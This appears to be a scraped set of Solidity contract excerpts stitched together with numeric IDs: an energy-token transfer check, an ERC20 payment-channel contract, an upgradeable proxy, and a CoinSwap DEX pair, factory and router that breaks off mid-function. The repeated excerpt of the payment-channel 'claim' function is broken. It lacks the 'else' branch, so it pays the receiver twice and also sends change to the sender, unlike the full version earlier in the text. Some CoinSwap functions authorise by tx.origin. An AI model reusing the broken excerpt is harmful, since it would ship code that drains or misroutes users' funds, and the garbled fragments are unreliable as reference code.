ClaimVerifier.getRealWorldPlantId(marketAuthority, _to); EnergyTokenLib.checkClaimsForTransferSending(marketAuthority, id2Distributor, payable(_from), realWorldPlantIdFrom, _id); EnergyTokenLib.checkClaimsForTransferReception(marketAuthority, id2Distributor, payable(_to), realWorldPlantIdTo, _id); } // ######################## // # Public support functions // ######################## function getTokenId(TokenKind _tokenKind, uint64 _balancePeriod, address _identityContractAddress) public pure override(IEnergyToken) returns (uint256 __tokenId) { __tokenId = EnergyTokenLib.getTokenId(_tokenKind, _balancePeriod, _identityContractAddress); } function getTokenIdConstituents(uint256 _tokenId) public pure override(IEnergyToken) returns(TokenKind __tokenKind, uint64 __balancePeriod, address __identityContractAddress) { (__tokenKind, __balancePeriod, __identityContractAddress) = EnergyTokenLib.getTokenIdConstituents(_tokenId); } function tokenKind2Number(TokenKind _tokenKind) public pure override(IEnergyToken) returns (uint8 __number) { __number = EnergyTokenLib.tokenKind2Number(_tokenKind); } function number2TokenKind(uint8 _number) public pure override(IEnergyToken) returns (TokenKind __tokenKind) { __tokenKind = EnergyTokenLib.number2TokenKind(_number); } // ######################## // # Internal functions // ######################## function addPlantRelationship(address _generationPlant, address _consumptionPlant, uint64 _balancePeriod) public { relevantGenerationPlantsForConsumptionPlant[_balancePeriod][_consumptionPlant].push(_generationPlant); if(!energyDocumentations[_consumptionPlant][_balancePeriod].generated) require(energyDocumentations[_consumptionPlant][_balancePeriod].value == 0, "_consumptionPlant does already have energyDocumentations for _balancePeriod."); numberOfRelevantConsumptionPlantsForGenerationPlant[_balancePeriod][_generationPlant]++; // not gonna overflow numberOfRelevantConsumptionPlantsUnmeasuredForGenerationPlant[_balancePeriod][_generationPlant]++; // not gonna overflow } }
This needs to be checked here because otherwise distributors would need real world plant IDs as without them, getting the real world plant ID to pass on to checkClaimsForTransferSending and checkClaimsForTransferReception would cause a revert.
function checkClaimsForTransferAllIncluded(address _from, address _to, uint256 _id) internal view { (TokenKind tokenKind, ,) = EnergyTokenLib.getTokenIdConstituents(_id); if(tokenKind == TokenKind.Certificate) { return; } string memory realWorldPlantIdFrom = ClaimVerifier.getRealWorldPlantId(marketAuthority, _from); string memory realWorldPlantIdTo = ClaimVerifier.getRealWorldPlantId(marketAuthority, _to); EnergyTokenLib.checkClaimsForTransferSending(marketAuthority, id2Distributor, payable(_from), realWorldPlantIdFrom, _id); EnergyTokenLib.checkClaimsForTransferReception(marketAuthority, id2Distributor, payable(_to), realWorldPlantIdTo, _id); }
5,355,549
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Eliptic curve signature operations * * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * @dev and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( "\x19Ethereum Signed Message:\n32", hash ); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /// @title Unidirectional payment channels contract for ERC20 tokens. contract TokenUnidirectional { using SafeMath for uint256; struct PaymentChannel { address sender; address receiver; uint256 value; // Total amount of money deposited to the channel. uint256 settlingPeriod; // How many blocks to wait for the receiver to claim her funds, after sender starts settling. uint256 settlingUntil; // Starting with this block number, anyone can settle the channel. address tokenContract; // Address of ERC20 token contract. } mapping (bytes32 => PaymentChannel) public channels; event DidOpen(bytes32 indexed channelId, address indexed sender, address indexed receiver, uint256 value, address tokenContract); event DidDeposit(bytes32 indexed channelId, uint256 deposit); event DidClaim(bytes32 indexed channelId); event DidStartSettling(bytes32 indexed channelId); event DidSettle(bytes32 indexed channelId); /*** ACTIONS AND CONSTRAINTS ***/ /// @notice Open a new channel between `msg.sender` and `receiver`, and do an initial deposit to the channel. /// @param channelId Unique identifier of the channel to be created. /// @param receiver Receiver of the funds, counter-party of `msg.sender`. /// @param settlingPeriod Number of blocks to wait for receiver to `claim` her funds after the sender starts settling period (see `startSettling`). /// After that period is over anyone could call `settle`, and move all the channel funds to the sender. /// @param tokenContract Address of ERC20 token contract. /// @param value Initial channel amount. /// @dev Before opening a channel, the sender should `approve` spending the token by TokenUnidirectional contract. function open(bytes32 channelId, address receiver, uint256 settlingPeriod, address tokenContract, uint256 value) public { require(isAbsent(channelId), "Channel with the same id is present"); StandardToken token = StandardToken(tokenContract); require(token.transferFrom(msg.sender, address(this), value), "Unable to transfer token to the contract"); channels[channelId] = PaymentChannel({ sender: msg.sender, receiver: receiver, value: value, settlingPeriod: settlingPeriod, settlingUntil: 0, tokenContract: tokenContract }); emit DidOpen(channelId, msg.sender, receiver, value, tokenContract); } /// @notice Ensure `origin` address can deposit funds into the channel identified by `channelId`. /// @dev Constraint `deposit` call. /// @param channelId Identifier of the channel. /// @param origin Caller of `deposit` function. function canDeposit(bytes32 channelId, address origin) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; bool isSender = channel.sender == origin; return isOpen(channelId) && isSender; } /// @notice Add more funds to the contract. /// @param channelId Identifier of the channel. /// @param value Amount to be deposited. function deposit(bytes32 channelId, uint256 value) public { require(canDeposit(channelId, msg.sender), "canDeposit returned false"); PaymentChannel storage channel = channels[channelId]; StandardToken token = StandardToken(channel.tokenContract); require(token.transferFrom(msg.sender, address(this), value), "Unable to transfer token to the contract"); channel.value = channel.value.add(value); emit DidDeposit(channelId, value); } /// @notice Ensure `origin` address can start settling the channel identified by `channelId`. /// @dev Constraint `startSettling` call. /// @param channelId Identifier of the channel. /// @param origin Caller of `startSettling` function. function canStartSettling(bytes32 channelId, address origin) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; bool isSender = channel.sender == origin; return isOpen(channelId) && isSender; } /// @notice Sender initiates settling of the contract. /// @dev Actually set `settlingUntil` field of the PaymentChannel structure. /// @param channelId Identifier of the channel. function startSettling(bytes32 channelId) public { require(canStartSettling(channelId, msg.sender), "canStartSettling returned false"); PaymentChannel storage channel = channels[channelId]; channel.settlingUntil = block.number.add(channel.settlingPeriod); emit DidStartSettling(channelId); } /// @notice Ensure one can settle the channel identified by `channelId`. /// @dev Check if settling period is over by comparing `settlingUntil` to a current block number. /// @param channelId Identifier of the channel. function canSettle(bytes32 channelId) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; bool isWaitingOver = block.number >= channel.settlingUntil; return isSettling(channelId) && isWaitingOver; } /// @notice Move the money to sender, and close the channel. /// After the settling period is over, and receiver has not claimed the funds, anyone could call that. /// @param channelId Identifier of the channel. function settle(bytes32 channelId) public { require(canSettle(channelId), "canSettle returned false"); PaymentChannel storage channel = channels[channelId]; StandardToken token = StandardToken(channel.tokenContract); require(token.transfer(channel.sender, channel.value), "Unable to transfer token to channel sender"); delete channels[channelId]; emit DidSettle(channelId); } /// @notice Ensure `origin` address can claim `payment` amount on channel identified by `channelId`. /// @dev Check if `signature` is made by sender part of the channel, and is for payment promise (see `paymentDigest`). /// @param channelId Identifier of the channel. /// @param payment Amount claimed. /// @param origin Caller of `claim` function. /// @param signature Signature for the payment promise. function canClaim(bytes32 channelId, uint256 payment, address origin, bytes signature) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; bool isReceiver = origin == channel.receiver; bytes32 hash = recoveryPaymentDigest(channelId, payment, channel.tokenContract); bool isSigned = channel.sender == ECRecovery.recover(hash, signature); return isReceiver && isSigned; } /// @notice Claim the funds, and close the channel. /// @dev Can be claimed by channel receiver only. Guarded by `canClaim`. /// @param channelId Identifier of the channel. /// @param payment Amount claimed. /// @param signature Signature for the payment promise. function claim(bytes32 channelId, uint256 payment, bytes signature) public { require(canClaim(channelId, payment, msg.sender, signature), "canClaim returned false"); PaymentChannel storage channel = channels[channelId]; StandardToken token = StandardToken(channel.tokenContract); if (payment >= channel.value) { require(token.transfer(channel.receiver, channel.value), "Unable to transfer token to channel receiver"); } else { require(token.transfer(channel.receiver, payment), "Unable to transfer token to channel receiver"); uint256 change = channel.value.sub(payment); require(token.transfer(channel.sender, change), "Unable to transfer token to channel sender"); } delete channels[channelId]; emit DidClaim(channelId); } /*** CHANNEL STATE ***/ /// @notice Check if the channel is not present. /// @param channelId Identifier of the channel. function isAbsent(bytes32 channelId) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; return channel.sender == 0; } /// @notice Check if the channel is present: in open or settling state. /// @param channelId Identifier of the channel. function isPresent(bytes32 channelId) public view returns(bool) { return !isAbsent(channelId); } /// @notice Check if the channel is in settling state: waits till the settling period is over. /// @dev It is settling, if `settlingUntil` is set to non-zero. /// @param channelId Identifier of the channel. function isSettling(bytes32 channelId) public view returns(bool) { PaymentChannel storage channel = channels[channelId]; return channel.settlingUntil != 0; } /// @notice Check if the channel is open: present and not settling. /// @param channelId Identifier of the channel. function isOpen(bytes32 channelId) public view returns(bool) { return isPresent(channelId) && !isSettling(channelId); } /*** PAYMENT DIGEST ***/ /// @return Hash of the payment promise to sign. /// @param channelId Identifier of the channel. /// @param payment Amount to send, and to claim later. /// @param tokenContract Address of ERC20 token contract. function paymentDigest(bytes32 channelId, uint256 payment, address tokenContract) public view returns(bytes32) { return keccak256(abi.encodePacked(address(this), channelId, payment, tokenContract)); } /// @return Actually signed hash of the payment promise, considering "Ethereum Signed Message" prefix. /// @param channelId Identifier of the channel. /// @param payment Amount to send, and to claim later. function recoveryPaymentDigest(bytes32 channelId, uint256 payment, address tokenContract) internal view returns(bytes32) { bytes memory prefix = "\x19Ethereum Signed Message:\n32"; return keccak256(abi.encodePacked(prefix, paymentDigest(channelId, payment, tokenContract))); } }
Claim the funds, and close the channel. Can be claimed by channel receiver only. Guarded by `canClaim`. channelId Identifier of the channel. payment Amount claimed. signature Signature for the payment promise.
function claim(bytes32 channelId, uint256 payment, bytes signature) public { require(canClaim(channelId, payment, msg.sender, signature), "canClaim returned false"); PaymentChannel storage channel = channels[channelId]; StandardToken token = StandardToken(channel.tokenContract); if (payment >= channel.value) { require(token.transfer(channel.receiver, channel.value), "Unable to transfer token to channel receiver"); require(token.transfer(channel.receiver, payment), "Unable to transfer token to channel receiver"); uint256 change = channel.value.sub(payment); require(token.transfer(channel.sender, change), "Unable to transfer token to channel sender"); } delete channels[channelId]; emit DidClaim(channelId); }
7,325,101
pragma solidity ^0.4.23; import "../ownable/ownable.sol"; import "../storage/sow.storage.state.sol"; import "./sow.proxy.data.sol"; import "./sow.proxy.header.sol"; contract SOWProxy is SOWStorageState , ProxyData, ProxyHeader, Ownable { constructor(SOWStorage __storage , address _owner) public Ownable(_owner) { _storage = __storage; } function implementation() public view returns (address) { return _implementation; } function upgradeTo(address impl) public onlyOwner { require(_implementation != impl); _implementation = impl; emit Upgraded(impl); } function upgradeBy(address impl, address _caller) public isOwner(_caller) { require(_implementation != impl); _implementation = impl; emit Upgraded(impl); } // for "forwarding proxy" // see EIP 897 for more details function proxyType() public pure returns (uint256) { return 1; } function () payable public { address _impl = implementation(); require(_impl != address(0)); bytes memory data = msg.data; assembly { let result := delegatecall(gas, _impl, add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
for "forwarding proxy" see EIP 897 for more details
function proxyType() public pure returns (uint256) { return 1; }
976,238
//SPDX-License-Identifier: TBD pragma solidity =0.7.4; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface ICoinSwapERC20 is IERC20 { event Swap(address indexed,uint192,uint192,address indexed); event Sync(uint); event Mint(address indexed sender, uint192); event Burn(address indexed sender, uint192, address indexed to); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } interface ICoinSwapCallee { function coinswapCall(address sender, uint amount0,uint amount1, bytes calldata data) external; } contract CoinSwapERC20 is ICoinSwapERC20 { using SafeMath for uint; string public constant override name = 'CoinSwap V1'; string public constant override symbol = 'CSWPLT';//CoinSwap Liquidity Token uint8 public constant override decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; bytes32 public override DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public override nonces; constructor() { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external override returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { require(deadline >= block.timestamp, 'CSWP:01'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'CSWP:02'); _approve(owner, spender, value); } } contract CoinSwapPair is CoinSwapERC20 { using SafeMath for uint; address public patron; address public factory; address public token0; // token0 < token1 address public token1; uint224 private reserve; //reserve0(96) | reserve1(96) | blockTimestampLast(32) uint private unlocked = 1; uint public priceCumulative; //=Delta_y/Delta_x: 96-fractional bits; allows overflow uint224 private circleData; modifier lock() { require(unlocked == 1, 'CSWP:1'); unlocked = 0; _; unlocked = 1; } constructor() {factory = msg.sender; patron=tx.origin;} function initialize(address _token0, address _token1, uint224 circle) external { //circle needs to in order of token0<token1 require(circleData == 0, 'CSWP:2'); token0 = _token0; token1 = _token1; circleData = circle; // validity of circle should be checked by CoinSwapFactory } function ICO(uint224 _circleData) external { require( (tx.origin==patron) && (circleData >> 216) >0, 'CSWP:3');//to close ICO, set (circleData >> 216) = 0x00 circleData = _circleData; } function setPatron(address _patron) external { require( (tx.origin==patron), 'CSWP:11'); patron = _patron; } function getReserves() public view returns (uint224 _reserve, uint224 _circleData) { _reserve = reserve; _circleData = circleData; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'CSWP:6'); } function revisemu(uint192 balance) private returns (uint56 _mu) { require(balance>0, 'CSWP:4'); uint224 _circleData = circleData; uint X = uint(balance>>96) * uint16(_circleData >> 72)* uint56(_circleData >> 160); uint Y = uint(uint96(balance)) * uint16(_circleData >> 56)* uint56(_circleData >> 104); uint XpY = X + Y; uint X2pY2 = (X*X) + (Y*Y); X = XpY*100; Y = (X*X) + X2pY2 * (10000+ uint16(_circleData>>88)); uint Z= X2pY2 * 20000; require(Y>Z, 'CSWP:5'); Y = SQRT.sqrt(Y-Z); Z = Y > X ? X + Y : X-Y; _mu = uint56(1)+uint56(((10**32)*Z) / X2pY2); circleData = (_circleData & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(_mu); } // update reserves and, on the first call per block, price accumulators function _update(uint balance) private { uint32 lastTime = uint32(balance); uint32 deltaTime = uint32(block.timestamp) -lastTime ; if (deltaTime>0 && lastTime>0) { uint circle = circleData; uint lambda0 = uint16(circle >> 72); uint lambda1 = uint16(circle >> 56); uint CmulambdaX = 10**34 - (balance>>128) *lambda0*uint56(circle)*uint56(circle >> 160); uint CmulambdaY = 10**34 - uint96(balance>>32)*lambda1*uint56(circle)*uint56(circle >> 104); priceCumulative += (((lambda0*CmulambdaX)<< 96)/(lambda1*CmulambdaY)) * deltaTime; } reserve = uint224(balance +deltaTime); emit Sync(balance>>32); } function _mintFee(uint56 mu0) private returns (uint56 mu) { address feeTo = CoinSwapFactory(factory).feeTo(); mu=revisemu(uint192(reserve>>32)); if (mu0>mu) _mint(feeTo, totalSupply.mul(uint(mu0-mu)) / (5*mu0+mu)); } function mint(address to) external lock returns (uint liquidity) { uint224 circle = circleData; uint _totalSupply = totalSupply; uint224 _reserve = reserve; uint96 reserve0 = uint96(_reserve >>128); uint96 reserve1 = uint96(_reserve >>32); uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint scaledBalance0 = balance0* uint56(circle >> 160); uint scaledBalance1 = balance1* uint56(circle >> 104); require((scaledBalance0< 2**96) && (scaledBalance1< 2**96) && ( scaledBalance0 >=10**16 || scaledBalance1 >=10**16), 'CSWP:7'); if (_totalSupply == 0) { uint lambda0 = uint16(circle >> 72); uint lambda1 = uint16(circle >> 56); liquidity = (scaledBalance0 * lambda0 + scaledBalance1 * lambda1) >> 1; revisemu(uint192((balance0<<96)|balance1)); } else { uint56 mu0=_mintFee(uint56(circle)); _totalSupply = totalSupply; (uint mu, uint _totalS)=(0,0); if (reserve0==0) { mu=(uint(mu0) * reserve1) / balance1; _totalS = _totalSupply.mul(balance1)/reserve1; } else if (reserve1==0) { mu=(uint(mu0) * reserve0) / balance0; _totalS = _totalSupply.mul(balance0)/reserve0; } else { (mu, _totalS) = (balance0 * reserve1) < (balance1 * reserve0)? ((uint(mu0) * reserve0) / balance0, _totalSupply.mul(balance0)/reserve0) : ((uint(mu0) * reserve1) / balance1, _totalSupply.mul(balance1)/reserve1) ; } liquidity = _totalS - _totalSupply; circleData = (circle & 0xFF_FFFFFFFFFFFFFF_FFFFFFFFFFFFFF_FFFF_FFFF_FFFF_00000000000000) | uint224(mu); } _mint(to, liquidity); _update(balance0<<128 | balance1<<32 | uint32(_reserve)); emit Mint(msg.sender, uint192((balance0-reserve0)<<96 | (balance1-reserve1))); } function burn(address to) external lock returns (uint192 amount) { uint224 _reserve = reserve; address _token0 = token0; address _token1 = token1; _mintFee(uint56(circleData)); uint _totalSupply = totalSupply; uint liquidity = balanceOf[address(this)]; uint amount0 = liquidity.mul(uint96(_reserve>>128)) / _totalSupply; uint amount1 = liquidity.mul(uint96(_reserve>>32)) / _totalSupply; amount = uint192((amount0<<96)|amount1); require(amount > 0, 'CSWP:8'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); uint192 combinedBalance = uint192(IERC20(_token0).balanceOf(address(this))<<96 | IERC20(_token1).balanceOf(address(this))); _update(uint(combinedBalance)<<32 | uint32(_reserve)); if (combinedBalance>0) revisemu(combinedBalance); emit Burn(msg.sender, amount, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amountOut, address to, bytes calldata data) external lock { uint amount0Out = (amountOut >> 96); uint amount1Out = uint(uint96(amountOut)); uint balance0; uint balance1; uint _circleData = circleData; { // avoids stack too deep errors address _token0 = token0; address _token1 = token1; require((to != _token0) && (to != _token1), 'CSWP:9'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); if (data.length > 0) ICoinSwapCallee(to).coinswapCall(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); require(balance0*uint56(_circleData >> 160) < 2**96 && balance1*uint56(_circleData >> 104) < 2**96, 'CSWP:10'); } uint amountIn0; uint amountIn1; uint224 _reserve = reserve; {// if _reserve0 < amountOut, then should have been reverted above already, so no need to check here uint96 reserve0 = uint96(_reserve >>128); uint96 reserve1 = uint96(_reserve >>32); amountIn0 = balance0 + amount0Out - reserve0; amountIn1 = balance1 + amount1Out - reserve1; uint mulambda0 = uint(uint16(_circleData >> 72))*uint56(_circleData)*uint56(_circleData >> 160); uint mulambda1 = uint(uint16(_circleData >> 56))*uint56(_circleData)*uint56(_circleData >> 104); uint X=mulambda0*(balance0*1000 - amountIn0*3); uint Y=mulambda1*(balance1*1000 - amountIn1*3); require(10**37 > X && 10**37 >Y, 'CSWP:11'); X = 10**37-X; Y = 10**37-Y; uint newrSquare = X*X+Y*Y; X=10**37-(mulambda0 * reserve0*1000); Y=10**37-(mulambda1 * reserve1*1000); require(newrSquare<= (X*X+Y*Y), 'CSWP:12'); } _update(balance0<<128 | balance1<<32 | uint32(_reserve)); emit Swap(msg.sender, uint192(amountIn0<<96 | amountIn1), uint192(amountOut), to); } } contract CoinSwapFactory { address payable public feeTo; address payable public feeToSetter; mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address payable _feeToSetter) { feeToSetter = _feeToSetter; feeTo = _feeToSetter; } function allPairsLength() external view returns (uint) { return allPairs.length; } function createPair(address tokenA, address tokenB, uint224 circle) external returns (address pair) { require(tx.origin==feeToSetter, 'CSWP:22'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(getPair[token0][token1] == address(0), 'CSWP:20'); require(uint16(circle>>56)>0 && uint16(circle>>72)>0 && uint16(circle>>88)>0 && uint16(circle>>88)<=9999 && uint56(circle>>104)>=1 && uint56(circle>>104)<=10**16 && uint56(circle>>160)>=1 && uint56(circle>>160)<=10**16, 'CSWP:23'); bytes memory bytecode = type(CoinSwapPair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } CoinSwapPair(pair).initialize(token0, token1, circle); getPair[token0][token1] = pair; getPair[token1][token0] = pair; allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address payable _feeTo) external { require(msg.sender == feeToSetter, 'CSWP:21'); feeTo = _feeTo; } function setFeeToSetter(address payable _feeToSetter) external { require(msg.sender == feeToSetter, 'CSWP:22'); feeToSetter = _feeToSetter; } } contract CoinSwapRouterV1 { using SafeMath for uint; address public immutable factory; address public immutable WETH; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'CSWP:30'); _; } constructor(address _factory, address _WETH) { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, uint224 circle //lambda0/lambda1 in circle needs in order of token0<token1 ) internal virtual returns (uint amountA, uint amountB, address pairForAB) { pairForAB =CoinSwapFactory(factory).getPair(tokenA, tokenB); if (pairForAB == address(0)) { pairForAB= CoinSwapFactory(factory).createPair(tokenA,tokenB,circle); } (uint reserveA, uint reserveB,) = CoinSwapLibrary.getReservesAndmu(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else if (reserveA == 0) { (amountA, amountB) = (0, amountBDesired); } else if (reserveB == 0) { (amountA, amountB) = (amountADesired,0); } else { uint amountBOptimal = (amountADesired *reserveB) / reserveA; if (amountBOptimal <= amountBDesired) { 